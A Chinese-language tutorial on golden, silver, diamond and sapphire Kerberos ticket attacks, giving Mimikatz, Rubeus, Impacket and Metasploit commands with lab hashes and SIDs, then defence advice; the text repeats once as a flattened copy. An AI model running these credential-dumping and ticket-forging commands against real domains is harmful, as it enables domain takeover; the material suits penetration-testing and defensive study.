探究域渗透下的四种票据
字数 2750 2025-08-10 08:28:55

域渗透下的四种票据攻击技术详解

Kerberos身份认证基础流程

Kerberos是一种基于票证的身份验证协议,其基本工作流程如下:

  1. AS-REQ/AS-REP:客户端向KDC(Key Distribution Center,通常是域控制器)请求TGT(Ticket Granting Ticket)。请求使用用户的密钥之一进行预身份验证。TGT由身份验证服务(AS)提供。

  2. TGS-REQ/TGS-REP:客户端使用TGT向KDC请求ST(服务票证)。该票证由票证授予服务(TGS)提供。

  3. AP-REQ/AP-REP:客户端使用ST来访问服务。

  4. PAC:两种票证(TGT和ST)通常都包含加密的PAC(特权身份验证证书),目标服务将读取PAC中的信息(用户ID、组成员身份等)来决定身份验证用户是否可以访问该服务。

一、黄金票据(Golden Ticket)攻击

原理与特点

黄金票据是一种权限维持手段,攻击者获得对Active Directory密钥分发服务帐户(KRBTGT)的控制权后,使用该帐户伪造有效的Kerberos票证授予票证(TGT)。这使攻击者能够访问Active Directory域上的任何资源。

关键点

  • 伪造的是TGT票证
  • 需要获取krbtgt用户的加密密钥(NTLM Hash或AES密钥)
  • 可访问域内任何服务
  • 攻击过程需要访问域控DC
  • 日志记录在域控上

利用条件

必要条件:

  1. 获取域中krbtgt用户的加密密钥之一(NTLM Hash或AES密钥)
  2. 目标域名
  3. 目标域的SID
  4. 要模拟的用户账户名称(可任意)
  5. 要模拟的用户RID(可任意)
  6. 该账户所属组的RID(可任意指定高权限组)

操作步骤

  1. 获取krbtgt用户信息
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
  1. 使用Mimikatz生成黄金票据
kerberos::purge  # 清除原有票据
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /rc4:c3d5042c67ef5f461d0ba6ecdd9ea449 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt
  1. 生成票据文件供后续使用
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /rc4:c3d5042c67ef5f461d0ba6ecdd9ea449 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ticket:golden.kirbi
kerberos::ptt golden.kirbi
  1. 使用AES密钥生成黄金票据
# aes256
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt
# aes128
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes128:c7ae2a311bdd5803646f9a98351c31e6 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt

高级技巧

  1. 欺骗性用户名
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:"Hello world,Nice to meet you my dear" /id:500 /groups:500,501,513,512,520,518,519 /ptt
  1. 任意RID和组成员资格
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /id:1139 /groups:500,501,513,512,520,518,519 /ptt

使用Impacket工具

  1. 枚举域SID:
python lookupsid.py "rookit/administrator:admin!@#45"@192.168.3.131
  1. 提取krbtgt哈希:
python secretsdump.py "rookit/administrator:admin!@#45"@192.168.3.131 -outputfile krbhash -user-status
  1. 创建TGT:
python ticketer.py -nthash c3d5042c67ef5f461d0ba6ecdd9ea449 -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org administrator
  1. 转换票据格式:
python ticketConverter.py administrator.ccache ticket.kirbi
  1. 注入票据:
kerberos::ptt ticket.kirbi

使用Rubeus工具

Rubeus.exe ptt /ticket:ticket.kirbi

MSF下的利用

load kiwi
dcsync_ntlm krbtgt
golden_ticket_create -d rootkit.local -u administrator -s S-1-5-21-3759881954-2993291187-3577547808 -k c3d5042c67ef5f461d0ba6ecdd9ea449 -t /home/kali/ticket.kirbi
kerberos_ticket_use /home/kali/ticket.kirbi

二、白银票据(Silver Ticket)攻击

原理与特点

白银票据是伪造的Kerberos Ticket Grant Service (TGS)票证,仅允许攻击者伪造特定服务的票证。

关键点

  • 伪造的是TGS票证
  • 需要获取目标服务账户的密码哈希(通常是机器账户Hash)
  • 只能访问指定的服务
  • 不经过KDC,直接在目标服务上验证
  • 日志记录在目标服务器上,域控上不会有日志
  • 更加隐蔽

利用条件

必要条件:

  1. 目标服务账户的NTLM Hash(通常是机器账户Hash,账户名以$结尾)
  2. 目标域名
  3. 目标域的SID
  4. 要模拟的用户账户名称(可任意)
  5. 要模拟的用户RID(可任意)
  6. 该账户所属组的RID(可任意指定高权限组)

操作步骤

  1. 获取服务账户Hash
privilege::debug
sekurlsa::logonpasswords
  1. 使用Mimikatz生成白银票据(CIFS服务示例)
kerberos::golden /sid:S-1-5-21-202412995-3582062751-167045153 /domain:rootkit.org /target:SRV-WEB-KIT.rootkit.org /service:cifs /rc4:78e1c42dbff68fdd87ea7abd70b67533 /user:1111 /ptt

使用Rubeus工具(MSSQL服务示例)

  1. 转储TGS:
rubeus.exe kerberoast /domain:rootkit.org /creduser:rootkit\windows7 /credpassword:admin!@#45 /nowrap
  1. 爆破密码(已知密码为Admin12345):
hashcat -m 13100 '$krb5tgs$23$*sqluser......省略' '/home/kali/Desktop/10_million_password_list_top_100000.txt' --force
  1. 转为NTLM hash:
Rubeus.exe hash /password:Admin12345
  1. 生成白银票据:
rubeus.exe silver /service:MSSQLSvc/win7.rootkit.org /rc4:CCEF208C6485269C20DB2CAD21734FE7 /sid:S-1-5-21-3759881954-2993291187-3577547808 /user:test123333 /domain:rootkit.org /ptt
  1. 远程连接数据库执行命令:
sqlcmd -S 192.168.1.2,1433

三、钻石票据(Diamond Ticket)攻击

原理与特点

钻石票据攻击需要访问krbtgt的AES256密钥,利用从域控制器(DC)请求的真实TGT进行解密和重新加密。

关键点

  • 需要krbtgt的AES256密钥
  • 使用真实TGT进行修改而非完全伪造
  • 修改PAC添加特权组
  • 比黄金票据更隐蔽
  • 适用于已打补丁无法使用无PAC TGT的环境

利用条件

必要条件:

  1. krbtgt账户的AES256密钥
  2. 低权限用户凭据(user:password)
  3. 目标域名
  4. 域控制器主机名
  5. 要模拟的用户名(可任意)

操作步骤

  1. 获取krbtgt用户AES256密钥
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:rootkit.org /user:krbtgt" "exit"
  1. 使用Rubeus生成钻石票据
Rubeus.exe diamond /krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /password:Admin12345 /enctype:aes /domain:rootkit.org /dc:owa2013.rootkit.org /ticketuser:test123 /ptt /nowrap
  1. 获取服务票据(CIFS服务示例)
Rubeus.exe asktgs /ticket:doIFMjCCBS6gAwIBBaEDAgEWooIEOzCCBDdhggQzMIIEL6ADAgEFoQ0bC1JPT1RLSVQuT1JHoiAwHqADAgECoRcwFRsGa3JidGd0GwtST09US0lULk9SR6OCA/UwggPxoAMCARKhAwIBA6KCA+MEggPfj2PsZr7SGEqJsPPl5wG8ljBVM4yBAtxGQNxTQQPo6WBMTxcXS+3f3vyYs6qab0uZ+X5UW45e4aW8T8VhsTOkSJ1jokudegt8ILFKbHNpuUTMywsfgjRb6o+CQkfyZMGep1bQ9FoKHw+qPyd6ql7bYK50u1zO+uhNQ61cQDymFiDaqu0UBLh9yI4qY81gpycKOZSWqy0T/cH52hn22IuuxfL9dKN9qdRF+YCnrqy9MBSPx5E3MGVroJZrLYqgDfPQ9g+u1pPabnci8ac3J2S8isxbTscP7hutRATWTQWeauRvG1DbNN6qANWagDNpPy9JEqQoLbqrr3GD/FEQhaANSZlX2IPzLj8EsUcKQExEVSaWC3OuUwqNGWBNhc1m+aJL9mt6D42SwWMyFvmREmlj/lDR9kv9IQmqupcFCloBkewpyFBlecHkkSFKwXGvde65Y7Z/5vP1Iq1el2VrZPPMhywUhk5JwnRNhInDokhYFOWMIdY3w/C2PreLdEiL5aFUc7e01y7uQV5Wbe/OJ6XZdNhbYKXZ9lzZdHAqSayQmo0TRpBCBwqAZUFZse3l5B7qwPP9WBJDLIZtNgV6GUt0CW9DVoIW0jdM1j2Hkl9B+CeM1xV7Vb2DMNh8gK6IfT7KWEHX8a+0GVwlQWkAW/O/IpjZc8+3rIkiIfCIqbGTwA/pnjfhsS2lOXetwW6S4jQ8C9SfKZbLWhPIxpRs9q9g3tWMUE22Pk06CD3T9GbdTEbVi0IvCQJSgNIGMu+sI9ISVZ78HNmYv2wAjjC0tcHusjG1DDj0obyfeg99icK1ZtZL0HmOcQCSwNZqqJDMOXix1uKXv8auJP0itVdUf/aYp8l0xDjVQRYzvefpuar1Ce2Dhguejc6nEfPKusFBPDNhYGw8WlSupnCjjwgNuuQT1WUXdNuTMpPAh3Grb0dj/2s3/WcqVI3P9eZMos6n+MnD8RJUjytPGAm+iKa30KmL3nJbxQEdBOCI9cY4SYmf09B9fQJhG7fEwyeUyjcRoCeOeLFlSM8MCs/qHUi+0MTkVyyiLYZWfcNY+20dCbwUtRz6zXUwQ4go8buZoZMKqnnio1rtzZxzqkqiYK+AbtRq7+9JPuX0chOr9GKqGQGEqaQZCqjOVCQKr1A+JK4mfhHxGwe0eDaDtGOTUnszGLhqQdmDVxNpKduOLjaQBN97ACnitC3Q1Ww6ZeCv51TVh2x787nNkYy5JWZrY0gd3FByb9UDkMmeODy/1oVireCYEfLAL8yUuu/REgZbkyIsxzSCeG/NUZN6ztjGn/IrJ06bEQS6OhuvPHKP51JIh/8HUaOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIFPwBQgPPeImtpqHK3V4zobqMKDh0uVBzmEB/v5GuE7noQ0bC1JPT1RLSVQuT1JHohQwEqADAgEBoQswCRsHdGVzdDEyM6MHAwUAQOEAAKURGA8yMDI0MDIwNTA0Mjk0OFqmERgPMjAyNDAyMDUxNDI5NDhapxEYDzIwMjQwMjEyMDQyOTQ4WqgNGwtST09US0lULk9SR6kgMB6gAwIBAqEXMBUbBmtyYnRndBsLUk9PVEtJVC5PUkc= /service:cifs/owa2013.rootkit.org /ptt /nowrap

四、蓝宝石票据(Sapphire Ticket)攻击

原理与特点

蓝宝石票据通过S4U2Self+U2U机制获取高权限用户PAC,然后替换原始PAC。

关键点

  • 使用S4U2Self协议扩展
  • 使用U2U在没有SPN的情况下请求S4U2Self
  • 完全合法元素组合,最难检测
  • 需要krbtgt的AES密钥

操作步骤

  1. 使用魔改版ticketer.py生成票据
python ticketer.py -request -impersonate 'administrator' -domain 'rootkit.org' -user 'micle' -password 'Admin12345' -aesKey '3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745' -domain-sid 'S-1-5-21-3759881954-2993291187-3577547808' -nthash 'c3d5042c67ef5f461d0ba6ecdd9ea449' 'Sapphire'
  1. 使用Mimikatz注入票据
kerberos::ptc ignored.ccache

四种票据对比

特性 黄金票据 白银票据 钻石票据 蓝宝石票据
伪造票证类型 TGT TGS 修改真实TGT 组合合法元素
所需密钥 krbtgt的NTLM/AES 服务账户的NTLM krbtgt的AES256 krbtgt的AES
访问范围 域内所有服务 指定服务 域内所有服务 取决于PAC替换
隐蔽性 较低(日志在DC) 较高(日志在目标) 高(使用真实TGT) 最高(合法组合)
利用机制 完全伪造TGT 伪造TGS 解密修改真实TGT S4U2Self+U2U机制

防御建议

  1. 保护KRBTGT账户

    • 定期更改KRBTGT账户密码(至少每6个月一次)
    • 实施双密码更改策略(先改一次,24小时后再改一次)
  2. 监控与检测

    • 监控异常Kerberos票证请求
    • 检测TGT票证中的异常属性(如超长有效期、异常组成员资格)
    • 启用Kerberos服务日志(事件ID 4769等)
  3. 权限控制

    • 限制域管理员等高权限账户的使用
    • 实施最小权限原则
    • 禁用不必要的服务账户
  4. 补丁与更新

    • 及时安装安全补丁
    • 启用PAC验证(防止钻石票据攻击)
  5. 网络分段

    • 实施网络分段,限制对域控制器的访问
    • 部署防火墙规则限制Kerberos相关端口(TCP/UDP 88等)的访问

通过了解这四种票据攻击技术的原理和实现方式,安全团队可以更好地防御此类攻击,而渗透测试人员则可以更有效地评估企业网络的安全性。

域渗透下的四种票据攻击技术详解 Kerberos身份认证基础流程 Kerberos是一种基于票证的身份验证协议,其基本工作流程如下: AS-REQ/AS-REP :客户端向KDC(Key Distribution Center,通常是域控制器)请求TGT(Ticket Granting Ticket)。请求使用用户的密钥之一进行预身份验证。TGT由身份验证服务(AS)提供。 TGS-REQ/TGS-REP :客户端使用TGT向KDC请求ST(服务票证)。该票证由票证授予服务(TGS)提供。 AP-REQ/AP-REP :客户端使用ST来访问服务。 PAC :两种票证(TGT和ST)通常都包含加密的PAC(特权身份验证证书),目标服务将读取PAC中的信息(用户ID、组成员身份等)来决定身份验证用户是否可以访问该服务。 一、黄金票据(Golden Ticket)攻击 原理与特点 黄金票据是一种权限维持手段,攻击者获得对Active Directory密钥分发服务帐户(KRBTGT)的控制权后,使用该帐户伪造有效的Kerberos票证授予票证(TGT)。这使攻击者能够访问Active Directory域上的任何资源。 关键点 : 伪造的是TGT票证 需要获取krbtgt用户的加密密钥(NTLM Hash或AES密钥) 可访问域内任何服务 攻击过程需要访问域控DC 日志记录在域控上 利用条件 必要条件: 获取域中krbtgt用户的加密密钥之一(NTLM Hash或AES密钥) 目标域名 目标域的SID 要模拟的用户账户名称(可任意) 要模拟的用户RID(可任意) 该账户所属组的RID(可任意指定高权限组) 操作步骤 获取krbtgt用户信息 : 使用Mimikatz生成黄金票据 : 生成票据文件供后续使用 : 使用AES密钥生成黄金票据 : 高级技巧 欺骗性用户名 : 任意RID和组成员资格 : 使用Impacket工具 枚举域SID: 提取krbtgt哈希: 创建TGT: 转换票据格式: 注入票据: 使用Rubeus工具 MSF下的利用 二、白银票据(Silver Ticket)攻击 原理与特点 白银票据是伪造的Kerberos Ticket Grant Service (TGS)票证,仅允许攻击者伪造特定服务的票证。 关键点 : 伪造的是TGS票证 需要获取目标服务账户的密码哈希(通常是机器账户Hash) 只能访问指定的服务 不经过KDC,直接在目标服务上验证 日志记录在目标服务器上,域控上不会有日志 更加隐蔽 利用条件 必要条件: 目标服务账户的NTLM Hash(通常是机器账户Hash,账户名以$结尾) 目标域名 目标域的SID 要模拟的用户账户名称(可任意) 要模拟的用户RID(可任意) 该账户所属组的RID(可任意指定高权限组) 操作步骤 获取服务账户Hash : 使用Mimikatz生成白银票据(CIFS服务示例) : 使用Rubeus工具(MSSQL服务示例) 转储TGS: 爆破密码(已知密码为Admin12345): 转为NTLM hash: 生成白银票据: 远程连接数据库执行命令: 三、钻石票据(Diamond Ticket)攻击 原理与特点 钻石票据攻击需要访问krbtgt的AES256密钥,利用从域控制器(DC)请求的真实TGT进行解密和重新加密。 关键点 : 需要krbtgt的AES256密钥 使用真实TGT进行修改而非完全伪造 修改PAC添加特权组 比黄金票据更隐蔽 适用于已打补丁无法使用无PAC TGT的环境 利用条件 必要条件: krbtgt账户的AES256密钥 低权限用户凭据(user:password) 目标域名 域控制器主机名 要模拟的用户名(可任意) 操作步骤 获取krbtgt用户AES256密钥 : 使用Rubeus生成钻石票据 : 获取服务票据(CIFS服务示例) : 四、蓝宝石票据(Sapphire Ticket)攻击 原理与特点 蓝宝石票据通过S4U2Self+U2U机制获取高权限用户PAC,然后替换原始PAC。 关键点 : 使用S4U2Self协议扩展 使用U2U在没有SPN的情况下请求S4U2Self 完全合法元素组合,最难检测 需要krbtgt的AES密钥 操作步骤 使用魔改版ticketer.py生成票据 : 使用Mimikatz注入票据 : 四种票据对比 | 特性 | 黄金票据 | 白银票据 | 钻石票据 | 蓝宝石票据 | |-------------|-------------------|-------------------|-------------------|-------------------| | 伪造票证类型 | TGT | TGS | 修改真实TGT | 组合合法元素 | | 所需密钥 | krbtgt的NTLM/AES | 服务账户的NTLM | krbtgt的AES256 | krbtgt的AES | | 访问范围 | 域内所有服务 | 指定服务 | 域内所有服务 | 取决于PAC替换 | | 隐蔽性 | 较低(日志在DC) | 较高(日志在目标) | 高(使用真实TGT) | 最高(合法组合) | | 利用机制 | 完全伪造TGT | 伪造TGS | 解密修改真实TGT | S4U2Self+U2U机制 | 防御建议 保护KRBTGT账户 : 定期更改KRBTGT账户密码(至少每6个月一次) 实施双密码更改策略(先改一次,24小时后再改一次) 监控与检测 : 监控异常Kerberos票证请求 检测TGT票证中的异常属性(如超长有效期、异常组成员资格) 启用Kerberos服务日志(事件ID 4769等) 权限控制 : 限制域管理员等高权限账户的使用 实施最小权限原则 禁用不必要的服务账户 补丁与更新 : 及时安装安全补丁 启用PAC验证(防止钻石票据攻击) 网络分段 : 实施网络分段,限制对域控制器的访问 部署防火墙规则限制Kerberos相关端口(TCP/UDP 88等)的访问 通过了解这四种票据攻击技术的原理和实现方式,安全团队可以更好地防御此类攻击,而渗透测试人员则可以更有效地评估企业网络的安全性。